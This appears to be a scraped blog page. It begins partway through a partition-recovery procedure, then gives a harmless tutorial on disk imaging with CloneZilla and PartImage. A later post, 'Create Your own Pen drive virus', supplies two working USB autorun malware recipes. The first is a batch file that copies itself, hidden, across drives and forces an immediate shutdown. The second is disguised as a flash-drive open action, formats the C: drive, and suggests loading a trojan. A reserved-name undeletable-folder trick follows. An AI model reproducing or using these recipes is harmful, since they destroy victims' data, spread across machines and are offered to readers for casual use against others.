    Last cylinder or +size or +sizeM or +sizeK (1-22800, default 22800): 13032
    
    Command (m for help): w
    
  2. Run dumpe2fs on the first partition and grep out the block count.
    Example:
               % dumpe2fs /dev/sda1 | grep "Block count:"
               Block count:              41270953
          
    If you are uncertain about this value, repeat Step 1 with a bigger partition size. If the block count changes, then you underestimated the size of the original partition. Repeat Step 1 until you get a stable block count.
  3. Remove the partition you just created
             Command (m for help): d
             Partition number (1-4): 1
          
  4. Make a new partition with the exact size you got from the block count. Since you cannot enter block size in fdisk, you need to figure out how many cylinders to request. Here is the formula:
      (number of needed cylinders) = (number of blocks) / (block size)
    
      (block size) = (unit size) / 1024
    
      (unit size) = (number of heads) * (number of sectors/cylinder) * (number of bytes/sector)
    
    Consider the following example, where a hard drive has been partitioned into four primary partitions of 1, 2, 4, and 8 cylinders.
    disk /dev/sda: 16 heads, 63 sectors, 23361 cylinders
    Units = cylinders of 1008 * 512 bytes
    
       Device Boot    Start       End    Blocks   Id  System
    /dev/sda1             1         2       976+  83  Linux
    /dev/sda2             3         5      1512   83  Linux
    /dev/sda3             6        10      2520   83  Linux
    /dev/sda4            11        19      4536   83  Linux
    
    fdisk provides the configuration information I need in the head of the output. The unit size is 516096 ( 16 heads * 63 sectors/cyl * 512 bytes/sector ). The block size is 504 ( 516096 / 1024 ). The number of needed cylinders for the second partition is therefore 3 ( 1512 blocks / 504 ). The partition table shows that this is indeed the case: the first cylinder is 3, the second 4, and the last is 5, for a total of three cylinders. The number of needed cylinders for the third partition is calculated similarly: 2520 blocks / 504 = 5, which corresponds to blocks 6,7,8,9,10 . Notice that this calculation does not work for the first partition because the block count is wrong ( 976 instead of 1008 ). The plus sign indicates that not all the blocks are included in the fdisk value. When you try the calculation ( 976 / 504 ) you get 1.937. Knowing that the number of cylinders must be an integer, you can simply round up.
  5. Run e2fsck on it to verify that you can read the new partition.
  6. Repeat Steps 1-5 on remaining partitions.
Remount your partitions. Amazingly, all of your data will be there. Credit goes to: Mike Vevea, jedi sys admin, for providing the basic strategy.

Monday, 28 November 2016

CloneZilla

Introduction - what is imaging?

Beneath the file system, resides the most basic structure of any device - disk sectors. These are actual, physical parcels containing the data, regardless of the file system used. If this structure is mirrored to another device, it is possible to create an exact clone. Any operating system that exists on the device will not know any difference.
This is what imaging is all about. Imaging is a process during which the device structure and the entire contents are copied, sector by sector to a backup file called image. If you take the image and extract it to a device, overriding any existing, previous structure, you will have created a perfect copy of the imaged system, the way it was the moment the image was taken.
This grants computer users the ability to not only save the actual files, but the actual status of a device, be it a hard disk, a partition or any other, frozen in time at the moment it was created. These temporal snapshots can then be restored at later times, allowing the users to undo changes to their devices (and the relevant operating systems). This opens a huge window of opportunity and flexibility, in regard to backup, testing and disaster recovery.
Any serious computer user will deploy some sort of imaging software in his/her arsenal and use them periodically, to backup their operating system and also restore them, if needed.
I can give you a personal example. In the last 3 years, I have backed up my systems at least 200 times and restored some of them about 20-30 times, for various reasons, mainly software testing. Imagine that I had to reinstall the systems instead of image-restoring them every time. Imagine the time cost, the long hours needed to reinstall everything and configure the applications, to say nothing of the additional nuisance the Windows operating system poses with its Activation policy.
Unfortunately, most imaging software products cost a lot of money. Furthermore, since imaging is such an important and crucial procedure, you cannot risk the chance of using a second-hand imaging software. Luckily, there are two excellent free programs that offer the reliability and quality that you require - CloneZilla and PartImage.
Both these programs are relatively easy to use, if not the easiest. On the other hand, they are fast, reliable and very much free. They will also work with practically any filesystem, including Windows NTFS.
In this article, I will reach you how to use them to backup your system, demonstrating the use of each in rich detail. I will use CloneZilla to backup an Ubuntu station and then I will use PartImage to backup a Windows machine.

Requirements

Both of these programs require that you be able to burn ISO files to CD/DVD, boot from a live CD and in general, understand the Linux notation of hard drives and partitions - and, of course, know what hard disks and partitions are. There is also some use of the command line involved.
If you're not ready for this, maybe CloneZilla and PartImage are not for you. Just be aware that many payware imaging solutions also require some knowledge of the hardware terminology. It is definitely worth spending some time reading and learning how to master this area.
But do not let this deter you. The programs ARE rather simple - and you have my tutorial to guide you, step by step. Furthermore, here's a list of several other articles I have written, which can help you prepare for the task at hand.

CloneZilla

CloneZilla is a fast, light imaging software that runs from a CD. It is well suited for desktop use, as well as massive deployment in server environment.
CloneZilla is rather simple to use. Let's demonstrate.
First, download the ISO and burn it to CD/DVD. Next, choose a computer that you want to test it on and boot from the CD on that machine. For testing purposes, this can also be a virtual machine, in case you're afraid to tamper with your real system.
The boot menu offers you to launch the application in a number of graphic modes, switch to the local hard disks and boot from them, boot from the network, run a memory test, or boot into FreeDOS. We'll choose the first option.
CloneZilla boot menu
Next, choose your language and keyboard map.
CloneZilla language
Confirm your choice:
CloneZilla confirm choice
CloneZilla keyboard
Start CloneZilla:
CloneZilla start
First, you need to decide whether you wish to image or clone your system. The difference is in the output. Imaging results in a file being created. Cloning results in a target drive / partition being rewritten during the cloning process - for instance, this is useful if you have bought a new hard disk and want to use it instead of the old one. However, for now, we just wish to image our system.
CloneZilla mode
Now, we need to mount a local partition that will be our target. We will create the image and save it to this partition.
CloneZilla image directory
Before we do that, let us understand what we have here. Our system is Ubuntu, with three partitions, root, home and swap. root is a primary partition, hence the notation hda1. The second partition is hda2, which is the extended partition, inside which numerous logical partitions can reside. Logical partitions begin with the notation hda5 - or sda5 for SCSI disks, because the first four numbers are reserved for primary partitions. Swap is our hda5.
root (/)
hda1
Extended partition
hda2
swap
hda5
home (/home)
hda6
Now, hda6 is thus the second logical partition - and it is the home partition of our Ubuntu system. This is where we will save the image of the root partition.
CloneZilla mount target image directory
CloneZilla target partition mounted
Please notice the last entry in the image above. /dev/hda6 is the target partition that we mounted.
Now, you need to decide what you want to do, backup or restore your system. The option savedisk allows you to backup the entire hard disk. The option restoredisk allows you to restore an image of an entire hard disk. The third option, saveparts, allows you to backup only individual partitions. And accordingly,restoreparts allows you to restore individual partitions.
We wish to backup individual partitions.
CloneZilla choose mode
Some advanced options, no need to tamper with:
CloneZilla advanced parameters 1
CloneZilla advanced parameters 2
Choose the compression:
CloneZilla compression
Choose the name for the image:
CloneZilla image name
Next, you need to select the source partition - the one we want to image. This is our root, hda1. Please note that hda6 is no longer available. This is because mounted partitions cannot be imaged. They need to be unmounted. CloneZilla automatically removes mounted partitions from the menu.
CloneZilla choose source partition
You are ready to image.
CloneZilla ready to image
Confirm your choice:
CloneZilla confirm choice
The imaging process will now begin. It takes only about 4-5 minutes for a typical Ubuntu installation.
CloneZilla working
After the imaging process is done, you will be taken to a console. You'll have the choice to restart CloneZilla again and create another image, power off the machine or reboot.
CloneZilla finished
Now, let's boot into Ubuntu. Indeed, here's our image. Job done, as the peasant Orc in Warcraft likes to say!
CloneZilla image in Ubuntu

PartImage

PartImage is slightly more difficult than CloneZilla. This is because some of the operations that CloneZilla does automatically need to be performed manually. Nevertheless, it is fast and reliable and should be considered when weighing out imaging solutions.
PartImage comes bundled as a part of numerous Linux distribution. One of the best tools to have - and which includes PartImage - is the SystemRescueCD, a bootable Linux live CD that specializes in diagnosis, repair and recovery of crashed systems.
You can read more about SystemRescueCD in my article A (cool) list of Linux tool. Among many other useful tools, SystemRescueCD also includes GParted, an excellent disk partitioning tool, TestDisk, a great tool for recovering lost partitions and data.
So let's begin using PartImage. First, we will boot off the SystemRescueCD live CD.
PartImage boot menu
Hit Enter to continue. After a few moments, the system will boot. By default, SystemRescueCD boots into the command-line mode. But don't worry. Type startx into the console and hit Enter. You will reach the desktop shortly.
PartImage menu
PartImage desktop
Now, before we start using PartImage, let us review our setup. We want to backup a Windows XP C: drive to another partition (in this case, E:). Since SystemRescueCD is a Linux tool, it will use the Linux notation for the partitions. The Windows C: drive must be a primary partition - and it will most likely be the first, thus it will be either hda1 or sda1.
Additional Windows partitions are usually logical (if created when installing Windows XP). Therefore, they will be marked hda6hda7 (or sda6sda7) etc. But why guess? Let's check. As we've said earlier, SystemRescueCD comes with some handy tools, including a powerful partitioning program, GParted. Let's power it up and examine our layout.
PartImage start Gparted
Here, we can see our partitions. sda1 is our Windows C:. We will back it up to sda5, because it has most space.
PartImage GParted partitions
If you have noticed a warning earlier, before typing startx, there are two things we must do before we can use PartImage. We must mount our target partition, so we can save the image to it.
Since our target partition is formatted as NTFS, we will have to use a special driver, called NTFS-3g, which allows Linux systems to read and write to NTFS partitions. We must do this manually, from the command line. Actually, this is the only difficult part of the whole thing.
Let's first create a mount point:
mkdir /mnt/win-backup
Then, we need to mount the sda5:
ntfs-3g /dev/sda5 /mnt/win-backup -o force
This is what it looks like:
PartImage mount target partition
And checking through GParted, we can see sda5 is now mounted.
PartImage target partition mounted
Now, start PartImage:
PartImage start
First, we need to select the source partition (sda1) and give the name to our image. In our case, it will be:
/mnt/win-backup/windows-c-backup-2008-08-21
PartImage choose partition
Press F5 to continue. Next, we need to select some advanced options. There's no need to change anything. The default settings are good enough. The only thing you may want to change is whether you wish to split the image into smaller files, so they can fit onto CDs. Use the arrow keys to navigate.
PartImage options
Add comments, if necessary:
PartImage comments
You will be warned that NTFS support is experimental. Don't worry, everything will work just fine.
PartImage NTFS warning
You will be presented with some info about the NTFS-formatted partition you're about to image.
PartImage NTFS info
And the actual imaging process will begin. It takes about 5 minutes for a 1GB Windows XP installation, but this is slower than the results you'll have with Linux filesystems. Even so, PartImage is somewhat slower than CloneZilla.
PartImage working
PartImage operation completed
After you're done, reboot into Windows. Indeed, everything looks good. The image footprint is approx. 40% of the original size (400MB).
PartImage Windows drives
PartImage Windows drive E

Recovery!

Oh yes, you should test your saved images work. There's no point creating system images only to discover that they do not really work in the time of emergency. Now, you surely do not want to test software with your production setup, so you should make sure there's a spare box around - or maybe a virtual machine, which you can use to test the functionality of the imaging software during the restore.
This is possibly the most important part. If you need help, ping me.

Conclusion

CloneZilla and PartImage are excellent products, if you are willing to spend the extra five minutes learning the few basic principles that you require to use them. On the other hand, they cost nothing, are reliable and efficient, and will provide you with an efficient backup-and-restore solution, for both Windows and Linux systems.
Well, have a good day, fellas.

Thursday, 24 November 2016

Create Your own Pen drive virus

Create Your own Pen drive virus

You can make your own pen drive virus. Take all risks your self. This is a simple virus created in MSDos. This virus save in your pen drive. The system will shutdown when open the pen drive. And after the booting the system shutdown when open each drives of your system. So take all risks your self.


1. Connect your pen drive first. Open Notepad and type following:
    
   [autorun]
   ShellExecute=mak.bat

2. And save it name "Autorun.inf ". You should give the same name i.e "Autorun.inf".

3. Open a another Notepad document and type following:

      @echo off
      xcopy "Autorun.inf"/H c:
      xcopy "Autorun.inf"/H d:
      xcopy "Autorun.inf"/H e:
      xcopy "Autorun.inf"/H f:
      xcopy "mak.bat"/H c:
      xcopy "mak.bat"/H d:
      xcopy "mak.bat"/H e:
      xcopy "mak.bat"/H f:
      shutdown -s -f -t 00
4. Save this file name "mak.bat".

5. Change the properties of the files in "Hidden". Copy the both files(Autorun.inf and mak.bat) in to your pen drive. Reconnect the pen drive. And open the pen drive. You will get the result.



Make your own USB Virus Method - 2:

In this tutorial I am going to teach you how to make a USB stick autorun a virus.
this is educational purpose only! i
Step 1: Format your USB Stick
Step 2: Open Notepad and put in the following...
Code:
@echo off
title Delete C:\
cls
echo Are you sure you want to delete all your files? (y/n)
pause > nul
echo Deleting files......
Format C:
Save this as XXX.bat to the root of your USB Stick.
Step 3: Open Notepad again and put in the following...
Code:
[autorun]
icon=(name of your icon).ico
open=XXX.bat
action=Click here to open your flash drive.
shell\open\command=XXX.bat
^^Save this as autorun.inf *Make sure you take out the () when you put in your icons
name, and you have to save the icon you have on the root of the USB Stick.*
Step 4: You are done! Feel free to change it up a little, you can make XXX.bat load up an
.exe, so if you have a trojan that is .exe then you can make it load that, make sure that you
include where it is loading the file from.
Step 5: To use your USB Stick plug it in to any computer and run your autorun file. The
USB Stick should format the C: drive therefore deleting all files.
Thank you!
have fun..

Making Undeleteable Folder...
We can actually make folders that cannot be deleted in Windows OS.
It must be made using Command Prompt.
It can only be deleted using Command Prompt.
Steps:
1.Go to cmd.
2.Change to the directory that you want.
3.Assume i change to D:
4.So,in Command Prompt,type D: and [enter].
5.Type in this command "md \lpt1\\" without quotes and press enter.
6.The folder will now in your D:
7.Go and try and delete or rename it,you cannot do anything to it.
There are still many names that you can use to name the folder:
-lpt1 until lpt9
-CON
-AUX
To delete it:
1.Go to Command Prompt again.
2.Navigate to the directory.
3.Type in rd \lpt1\\
Thanks..